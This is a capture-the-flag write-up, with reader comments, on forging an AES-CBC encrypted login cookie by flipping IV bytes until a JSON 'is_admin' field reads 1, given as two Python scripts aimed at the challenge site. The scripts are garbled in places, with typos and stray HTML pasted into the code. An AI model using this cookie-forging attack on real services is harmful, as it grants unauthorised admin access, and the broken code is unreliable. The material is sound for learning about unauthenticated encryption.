Rating: 5.0

> Eat my cookie sharkyboy!
Look how great my authentication is.
I used AES 128 CBC for encryption never used it before but it's so cooool!!
backflip_in_the_kitchen.sharkyctf.xyz
Register for an account.

After login, the site tells us:

>Welcome to your profile page, admin666
>
>Here are the information we store about you :
>
> ID : 484
> Username : admin666
> Administrator : 0

We get the cookie: `qN7Hq6ANexgyrtbcTYRNwp293DRwmOPdR6SBOO0Pj%2BRgbZodmHYdrcfoQ8Z4bq5jNb7SnUS%2BIzVP3gxmqykvXg%3D%3D`

Urldecode to `qN7Hq6ANexgyrtbcTYRNwp293DRwmOPdR6SBOO0Pj+RgbZodmHYdrcfoQ8Z4bq5jNb7SnUS+IzVP3gxmqykvXg==`

Thats 64 byte of data, so presumably a 16 byte IV and 48 byte of ciphertext.

We need to find out the structure of the cookie's plaintext. It has to be between 32 and 47 characters long. There must be some structure, because the data values alone are just 12 characters.

* The plaintext can't be a verbose JSON like `{"ID": 484, "Username": "admin666", "Administrator": 0}`, because that is 55 characters long
* The username is definitelbbbbbbbbby in the cookie; if we register a longer username with 20 chraracters, the correpsonding cookie is 80 bytes long

I the follwing script script which changes each byte of the IV.

```python
import requests
import base64
from urllib.parse import quote_plus
import re

def get_profile(pos, i, session = False, verbose=False):
if(not session):
sesstion = requests.Session()
my_cookie = cookie[:pos] + bytes([cookie[pos]^i]) + cookie[pos+bb1:]
cookies = cookies = {'authentication_token': quote_plus(base64.b64encode(my_cookie).decode())}

r = session.get(url, cookies = cookies)
if(r.status_code == 200 and not re.search(r'BAD TOKEN', r.text, flags=re.MULTILINE)):
print(cookies)
print("pos={}, i={}".format(pos,i))
#Welcome to your profile page, admin666 </h1>

Here are the information we store about you :

  • ID : 48
  • Userna\
    me : admin666
  • Administrator : 0
    match = re.search(r'ID : (.*)\s</li.*Username : (.*)\s</li.*Administrator : (.*)\s</li', r.text, flags = re.MULTILINE)
    if(match):
    print('ID:\t{}\nname:\t{}\nadmin:\t{}'.format(match.group(1), match.group(2), match.group(3)))
    print('============================')
    else:
    if(verbose):
    print(r.text)
    r = session.get(admin_url, cookies = cookies)
    if(r.status_code == 200 and not re.search(r'but you are not allowed to see', r.text, flags=re.MULTILINE)):
    print('################################## ADMIN ######################################')
    print(r.text)

    url = 'http://backflip_in_the_kitchen.sharkyctf.xyz/profile.php'
    admin_url = 'http://backflip_in_the_kitchen.sharkyctf.xyz/admin.php'

    cookie_b64 = 'qN7Hq6ANexgyrtbcTYRNwp293DRwmOPdR6SBOO0Pj+RgbZodmHYdrcfoQ8Z4bq5jNb7SnUS+IzVP3gxmqykvXg=='
    cookie = base64.b64decode(cookie_b64)

    session = requests.Session()

    for pos in range(16):
    for i in range(256):
    get_profile(pos, i, session)
    ```

    This lead tp the following observable results (index starts at 0):

    * If you change something at index 2 or 3 (most changes), the ID becomes empty
    * Adding (XOR) 0x01 at index 6 changes the ID from 484 to 584, adding 0x02 to 684, adding 0x05 to 184 => index 6 is the postition of the first character of the ID
    * index 7 and 8 change the second and third position of the ID in the expected way
    * Changing something at index 11 or 12,14 or 15 (1-95) or 13 (1-127) makes the administrator value disappear

    Other changes broke the cookie completely

    So we can alter the userid and somehow break it to make the Administrator value disappear.

    Changing the ID to 0 or 1 (with or without making Administrator disappear) did not work.

    The cookie might look like this: `{"ID":484,"Admin":0,"username":"admin666"}`

    If we replace `id"` with `i" ` at index 2, the ID value disappears, but the cookie works. This tells us that:

    * The ID is stored as `id`
    * Double quotes are used

    So new theory: `{"id":484,"admin":0,"username":"admin666"}`

    But replacing `id":484,"a`, with `admin":1,"` at index 2 does not work unfortunately. Its probably not `admin` in the cookie but something else.

    We go back to the output of the script above. All the characters from index 11 (where the name of the admin field starts) fail at 2 difeerent additions. This has to be the cause because they either break the JSON string by terminating the string or by producing a no printable character. The badd additions are:

    * Index 11: 53, 75
    * 12: 47, 81
    * 13: 3, 64-95
    * 14: 61, 67

    We use the following script, to print the outputs of adding those numbers to all letters:

    ```
    candidates = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-"
    bad_adds = [75, 53] #11
    bad_adds = [47, 81] #12
    bad_adds = [3,64,65] #13
    bad_adds = [61,67] #14

    for cand in candidates:
    mods = b''
    for bad_add in bad_adds:
    mod = bytes([cand.encode()[0] ^ bad_add])
    mods += mod
    print('{}:\t{}'.format(cand, mods))
    ```

    In the output of the first two positions we find that those lines:

    ...
    i: b'"\\'
    ...

    and

    ...
    s: b'\\"'
    ...

    So the letters `i` and `s` produce either a double-quote or a backslash. After seeing this I added an underscore and a dash to the list of characters and found next plausible characters to form `is_ad`. So we put an assumed field name of `is_admin` into the script and get rewarded with the flag.

    Here is the final script used:

    ```python
    import requests
    import base64
    from urllib.parse import quote_plus
    import re

    def get_profile(cookie: bytes, session = False, verbose=False, info= ''):
    if(not session):
    sesstion = requests.Session()
    cookies = cookies = {'authentication_token': quote_plus(base64.b64encode(cookie).decode())}

    r = session.get(url, cookies = cookies)
    if(r.status_code == 200 and not re.search(r'BAD TOKEN', r.text, flags=re.MULTILINE)):
    print(cookies)
    print(info)
    #Welcome to your profile page, admin666 </h1>

    Here are the information we store about you :

    • ID : 48
    • Username : admin666
    • Administrator : 0
      match = re.search(r'ID : (.*)\s</li.*Username : (.*)\s</li.*Administrator : (.*)\s</li', r.text, flags = re.MULTILINE)
      if(match):
      print('ID:\t{}\nname:\t{}\nadmin:\t{}'.format(match.group(1), match.group(2), match.group(3)))
      print('============================')
      else:
      if(verbose):
      print(r.text)
      r = session.get(admin_url, cookies = cookies)
      if(r.status_code == 200 and not re.search(r'but you are not allowed to see', r.text, flags=re.MULTILINE)):
      print('################################## ADMIN ######################################')
      print(r.text)
      else:
      if(verbose):
      print('?????? ADMIN ?????')
      print(r.text)
      elif(verbose):
      print(r.text)

      def forge_byte(data:bytes, pos:int, old:str, new:str) -> bytes:
      if(len(old) != len(new)):
      raise Error('Bad length of old or new values')
      old = old.encode()
      new = new.encode()
      for i in range(len(old)):
      data = data[:pos+i] + bytes([data[pos+i] ^ old[i] ^ new[i]]) + data[pos+i+1:]
      return data

      url = 'http://backflip_in_the_kitchen.sharkyctf.xyz/profile.php'
      admin_url = 'http://backflip_in_the_kitchen.sharkyctf.xyz/admin.php'
      cookie_b64 = 'qN7Hq6ANexgyrtbcTYRNwp293DRwmOPdR6SBOO0Pj+RgbZodmHYdrcfoQ8Z4bq5jNb7SnUS+IzVP3gxmqykvXg=='
      cookie = base64.b64decode(cookie_b64)

      session = requests.Session()

      my_cookie = forge_byte(cookie, 2, 'id":484,"is_a' ,'is_admin":1,"')

      get_profile(my_cookie, session, True)
      exit(0)
      ```

      Flag: **shkCTF{EnCrypTion-1s_N0t_4Uth3nTicatiOn_faef0ead1975be01}**

ciuffysriseMay 11, 2020, 10:20 a.m.

Very helpful and clear, I managed to reproduce it!
As a side node, maybe you could write down the final correctly guessed form of the JSON, and how it will be modified.

Thank you for the WriteUp!


xamrootMay 11, 2020, 10:09 p.m.

How did you know the cookie string "qN7Hq6ANexgyrtbcTYRNwp293DRwmOPdR6SBOO0Pj+RgbZodmHYdrcfoQ8Z4bq5jNb7SnUS+IzVP3gxmqykvXg==" was 64 bytes of data? It is an 88 character string and characters in javascript are generally 2 bytes. So where'd the 64 bytes come from? Thanks!